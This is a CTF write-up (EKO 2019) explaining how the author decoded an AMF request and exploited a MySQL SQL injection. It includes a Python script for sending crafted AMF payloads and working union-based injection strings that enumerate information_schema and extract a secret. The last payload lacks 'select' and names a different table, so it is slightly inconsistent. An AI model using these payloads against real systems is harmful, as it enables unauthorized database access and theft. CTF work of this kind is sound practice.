The Book of Gehn

Weirdo (SQLi writeup - EKO 2019)

September 29, 2019

Quick writeup of a SQL injection challenge.

We start with a pcap of a HTTP communication between a client and a server.

It is only one request/response.

With wireshark we can see that the parties are talking using AMF

Here is the decoded POST:

Hypertext Transfer Protocol
    POST / HTTP/1.1
    Content-type: application/x-amf
    Content-Length: 40
Action Message Format
    AMF version: 0
    Header count: 0
    Message count: 1
    Messages
        Target URI: EKO.CTF
        Response URI: /1
        Length: Unknown
        ECMA array (1 items)
            AMF0 type: ECMA array (0x08)
            Array length: 0
            Property 'q' String 'arg'
                Name: q
                    String length: 1
                    String: q
                String 'arg'
                    AMF0 type: String (0x02)
                    String length: 3
                    String: arg
            End Of Object Marker

Brief AMF Disassemble

In particular, this is the hexdump of the AMF message:

0000   00 00 00 00 00 01 00 07 45 4b 4f 2e 43 54 46 00
0010   02 2f 31 ff ff ff ff 08 00 00 00 00 00 01 71 02
0020   00 03 61 72 67 00 00 09

From the end to the begin, the 00 00 09 is the End of Object Marker, 02 00 03 61 72 67 is the arg string, in ASCII prefixed with 2 bytes that determines its length in big endian and all of that is prefixed with on byte, 02 that says what follows is a string.

I’m going to stop here as my understanding of AMF is quite low and it deserves a separate post.

Playing with the value of the query, this arg, is all what we need to get some fun.

Replacing arg with 'xx we get a database error showing that the server is vulnerable to a SQL injection.

So you know what I’m talking about.

Custom Queries

Before playing, we need a simple way to submit custom queries.

We treat the AMF message as an opaque string, the only thing that we need is to inject an arbitrary string q prefixed with its size.

>>> from cryptonita import B

>>> hdr = '''
... 00 00 00 00 00 01 00 07 45 4b 4f 2e 43 54 46 00
... 02 2f 31 ff ff ff ff 08 00 00 00 00 00 01 71 02
... '''

>>> hdr = B(hdr, encoding=16)
>>> eom =  B('00 00 09', encoding=16)

>>> def payload(q):
...     q  = B(q)
...     sz = B(len(q))
...
...     sz = sz.pack('>H') # uint16, big endian
...     return hdr + sz + q + eom

We wrap this into a HTTP POST.

import requests

def post(q):
    url = 'https://wtf.eko.cap.tf/'
    data = payload(q)

    r = requests.post(url, data=data)
    for chunk in r.content.split(b'network'):
        chunk = B([c for c in chunk if chr(c).isprintable()])
        print(chunk)

The response is also a AMF message that we treat it as a binary blob.

For this reason we arbitrary split the response in chunks and we filter out any non-printable char.

And voila! With post we can submit arbitrary queries and see their responses.

Prologue and Epilogue

We know that we are injecting in the middle of a SQL query but we don’t know where.

We may be injecting here

select ??? from ??? where ???='<here>' ;

but we may be injected here:

select ??? from ??? where ??? in (select ??? from ??? where ???='<here>' ???);

The possibilities are infinite.

If we assume the first case, we could try this:

>>> q = b"'; --"

The idea is that we transform the host query

select ??? from ??? where ???='<here>';

into this:

select ??? from ??? where ???=''; --';

But we were wrong. It failed.

Perhaps we are in the wrong spot, perhaps one of our injected characters were filtered or our prologue and/or epilogue is wrong.

The -- begins a comment. Each SQL engine has its own. The -- works in Oracle and under some conditions in MySQL.

The # works only in MySQL without any condition so we could try that:

>>> q = b"'; #"
select ??? from ??? where ???=''; #';

And it worked! And we learnt that the database is a MySQL for free.

Ref

Deducing the Host Query Structure

Under the hypothetical host query:

select ??? from ??? where ???='<here>';

We could learn how many columns is using the select making the query to order the results by the, let’s say, the 10th column.

If it fails we now that it has less than 10 columns.

After some binary search, we learn that it has 5 columns:

>>> q = b"' order by 5 ;#"    # 5 columns
select c1, c2, c3, c4, c5 from ??? where ???='' order by 5 ; #';

We can experiment further with:

>>> q = b"' union select 99, 98, 97, 96, 95 from information_schema.tables ;#"
select ??? from ??? where ???='' union select 99, 98, 97, 96, 95 from information_schema.tables ;#';

This also validates that the database engine is a MySQL (information_schema is MySQL specific) and that we can union the results.

The last confirms that the host query is just a select and we are injecting in the where clause.

Information Gathering

With this we can learn what other tables are in the database:

>>> q = b"' and 1=0 union select 99, table_name, 97, 96, 95 from information_schema.tables ;#"
select ??? from ??? where ???='' and 1=0 union select 99, table_name, 97, 96, 95 from information_schema.tables ;#';

And with this one we can learn what columns has the table secret, table that found with the previous query and it has a interesting name.

>>> q = b"' and 1=0 union select 99, column_name, 97, 96, 95 from information_schema.columns where table_name='secret' ;#"
select ??? from ??? where ???='' and 1=0 union select 99, column_name, 97, 96, 95 from information_schema.columns where table_name='secret' ;#';

In both cases the and 1=0 makes the host query to produce zero results and it makes the output much cleaner.

Profit!

Finally:

>>> q = b"' and 1=0 union 99, secret, 97, 96, 95 FROM secrets ;#"
>>> post(q)
<...>
EKO{ this is the flag }
<...>
select ??? from ??? where ???='' and 1=0 union 99, secret, 97, 96, 95 FROM secrets ;#';

Related tags: challenge, eko, sql, hacking

Weirdo (SQLi writeup - EKO 2019) - September 29, 2019 - Martin Di Paola